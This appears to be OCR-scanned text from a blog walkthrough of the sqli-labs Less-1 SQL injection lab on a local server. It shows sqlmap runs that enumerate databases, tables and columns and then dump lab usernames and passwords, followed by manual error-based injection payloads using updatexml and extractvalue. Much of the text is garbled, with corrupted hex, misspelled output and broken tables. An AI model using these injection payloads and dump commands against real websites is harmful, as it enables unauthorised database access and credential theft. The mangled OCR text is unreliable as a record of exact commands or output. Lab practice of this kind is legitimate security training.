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Type: TNION query

Title: Generic UNION euerv (NULL) - 3 columns

Payload: id=-4277 UNION ALL SELECT MULL, CONCAT (0x716b717a71, 0x6f7750A455405a777845544d724857427a7059575R53414947426
BE A5 77 TEO5EATAaR36267A35 ], Dx716aTRELTL), NULL-- nlD

https://blog.csdn.net/bmth666

bxtF 4 o bk

[: \python\python27Y sqlmapproject-sqlmap-1. 3. 11-51-27e28c02\ sqlmapproject-sqlmap-Te28c020python? sqlmap. py —u “http:/ /12
0, 1/sqlilakba/Less-1/71d=1" —-dbs

['] 1ezal disclaimer: Usaze of sqlmap for attacking targets without prior mutual consent is illezal. It is the end user’
 responsibility to obey all applicable local, state and federal laws. Developers assume no liakility and are not respo
Eible for any misuse or damage caused by thls program

[#] starting @ 09:24:10 /2020-02-27/

[ 1L ] resuming back-end DEMS " mysgl’
[ 11 ] testing cornmection to the tarszet URL
=qlmap resumed the following injection point(s) from stored session:
arameter: id (GET)
Type: boolean-based blind
Title: AND bDPlean—based blind - FHEREjoy HAVING clause
Fayload: id=1" AND T452=7452 AND TGhT = YGhT hitps:/fblog.csdn.net/bmth666

used SOL qUETY returns 14 entries
| retrieved: mysql

] retrieved: "information_ schema

| retrieved: ’performance schema’

| retrieved: T ays

| retrieved: " pikachu’

] retrieved: ' pkxss’

] retrieved: ' security’

] retrieved: ' challenges’

] retrieved: *dvwa’

] retrieved: "wp’
retrieved: webug’
retrieved: ’webug sys
retrieved: ’webug width, byte

] retrieved: ' dorabox’

; informatlon_ schema
1 mysql

| performance_schema
1 pikachu

1 pkxss

1 security

1 =svys

i% ﬁ;bug_Width_bYte https://blog.csdn.net/bmth666

D: Ypythontpython27\sqlmapproject-salmap-1. 3. 11-51-27228c02 sqlmapproject-sqlmap-Te28c02 python? sqlmap. py —u “http://12
L0.0. 1/sqlilabs/Less-1/91d=1" -D security --tables

H_
{1.3. 11. 508 dev}

—t—=
' [1_|_|_\ . |

|_IV.. _| nttp://sqlmap.org
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[ legal dlsclalmer Usage of sqlmap for attacking targets without prior mutual consent iz illezal. It is the end user’
1 applicable local, state and federal laws. Developers assume no liability and are not respo




sible for any misuse or damaze caused by this prosram
[*] starting @ 09:28:19 /2020-02-27/

[ 1L ] resuming back-end DENS ' mysql’
[ I ] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session: https://blog.csdn.netbmth666

]
eb application technology: PHP 7. 3.4, Apache 2.4.39
hack-end DBENS: My30L »= 5.1
10 fetching tables for database: " security’
uzed SOL query returns 4 entries
retrieved: ' emails’
retrieved: refererg’

1

[
[
[ retrieved: uagents
[
2

[
[
[
[
[

1

retrieved: "users’
Database: security
[4 tables]

referers
uagents

https://blog.csdn.netlomth666

[: ' pythonpython? 7Y sqlmapproject-sqlmap-1. 3. 11-51-g7e28c02Y sqlmapproject-salmap-Te28c02 python? sqlmap. py —u http:/ /127
0. 1/=qlilabs/Less-1/?1d=1" -D security -T users --columns

T

L]

I []I_I__ _
|_|v.. _|' http://sqlmap. ore

[1] legal disclaimer: Usage of sqlmap for attacking targzets without prior maitual consent is illegal. It is the end user’

= responsibility to okev all applicable local, state and federal laws. Developers assume no liability and are not respo
zible for any misuse or damage caused by this program

{1. 3. 11. 504dev}

[#] starting @ 09:29:37 /2020-02-2F/

] resuning back-end DBIS ’mysql https://blog.csdn.netlbmth666
] testing commection to the tarzet URL

Type: UNION query

Title: Generic UNION query (NULL) - 3 columns

Payload: id=-4277 UNION ALL SELECT NULL, CONCAT (0x716b717a71, 0x6f77506455465a77784554407a4857437a70505756534149424586
BE26E 707795561 626362676351, 0x716a766b71), NULL-- nlUcD
[ ] ]
web application technology: PHP 7.3.4, Apache 2.4 39

fetching columns for table users’ in database  security’
used SUL query returns 3 entries

retrieved: ~id, int(3)’

retrieved: ' password , varchar(20)

retrieved:  username ,’ varchar (20)

password | warchar (20)

username | varchar(20)
b e e e + https:/blog.csdn.net/omth666

D: \python\pythonQ7\sq1mappr03ect sglmap-1. 3. 11-51- g7928c02\sq1mapproject sqlmap Te28c02rpython? sqlmap. p¥ —u “http://127
0. 1/3qlilabs/Less-1/%1d=1" -D security -T users -C “password, username’ --dump




{1. 3. 11. B0 dev]

‘ , ‘

_| http://sqlmap. org

[1] legal disclaimer: Usage of sqlmap for attacking tarzets without prior matual consent is illesal. It is the end user’
= responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not respo
zible for any misuse or damage caused by this program

[#] starting @ 09:31:00 /2020-02-27/

[ 1 [1nF0] resumlng back-end DBIS hm¥5q1 L https:/blog.csdn.net’lbmth666

retrieved:
] retrieved:
] retrieved:
] retrieved:
] retrieved:
] retrieved:
[ 1 retrieved:
latabase: securlty
able: users
14 entries]
————— +- +
password | username |
————— +- +
[k Dhamk
I-kill-vou | Angelina
pllssword Doy
crappy SeCUre
stupldity stupld
genious SUperman
mak!le batman
admin admin
adminl adminl
adming adming
adming adming
duml:o dhalkkan
admingd admingd
admink admink

I
I
I
1L
1L
]

https:/iblog.csdn.nethbmth666

SIS I sqlilabs-less1

c @ 0 © 12704 =1 i In @ © b ®
. =A@ FELE [ =R iR 2 @ PTA | EEHESR.. @) 4 sentials /F.. ()&=

Welcome
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "1" LIMIT 0,1" at line 1

https://blog.csdn.netbmth666

Z— NG|SR, BRG] T UE B, w7 OGN AR IR

127.0.0.1/sqlilabs/Less-1/?id=1"' and updatexml(1,concat(@x7e, (select user ox7e),1




© @ jlilabs/Less-1/?id=1" and updatexml(1,concat{0x7e,(select user(})),0x7e),1)--+ ~ E& +ee {}‘ W @O © h
Tt @ FELE ([P RTEESsamrs.. [iEfK] -SERE=.. © S5E (@ PTA |EmatEak.. o) EE @Nessus Essentials / F... @"ETE

Welcome
XPATH syntax error: '~root@localhost~’

Ox7eZ2ASCIIZEE, MER S~

http 127.0.0.1/sqlilabs/Less-1/?id=1%27%20and%20updatexml (1, concat(0x7e, (select%20database ox7e),1

U @ s/less-1/?id=1" and updatexmi(1,concat(0x7e,(select database(),0x7e), 1)--+ ~ B == {_‘3‘ In @O0 @ g
i @ FFELE 7 RTesssems. [iEfK] -SaRE=.. & Z5E @ PTA | EmatEsth. &) & l@'I\Iessus Essentials / F... @_'EI_E

Welcome
XPATH syntax error: '~security~'

Jlog.csdn.net/bmt

REUBUEE RS, Mimit0,1 Fllimit3,1, B3 THER

127.0.0.1/sqlilabs/Less-1/?id=1" and updatexml(1,concat(@x7e, (select table name from information_schema.tables w
here table_schema='security' limit 0,1),0x7e),1



© (@ >rmation_schema.tables where table_schema="security’ limit 0,1),0x7e),1)--+ ~ & e f}‘ I O & h

at @ HFELE [ RTEEETREE.. [EH] -SiFEs. & S8 @ PTA | 2ESEsk.. @) &0 © Nessus Esentials /F.. @ BEE

Welcome
XPATH syntax error: '~emails~'

log.csdn.net/bmth6

BTEHER—FEN, FEZ. BT
ZEARERBEIMENLE, SFIMEEE K Mextractvalue 7] £ fRupdataxml, {#Hgroup_concath] % H Fr g #dE, AHlimit—
— |2

127.0.0.1/sqlilabs/Less-1/?id=1" and extractvalue(1l,concat(@x7e, (select group concat(table_name) from informatio
n_schema.tables where table_schema=database

i 0 © § @
i @ FFELE P iR aTEERms.. [ERK] -SiFsEs. © SR (@ PTA | BEEiET%.. &) 48 © Nessus Essentials /F.. @ EE

© (@ me) from information_schema.tables where table schema=database()))) -+ v & += 17

Welcome
XPATH syntax error: '~emails,referers,uagents,users’
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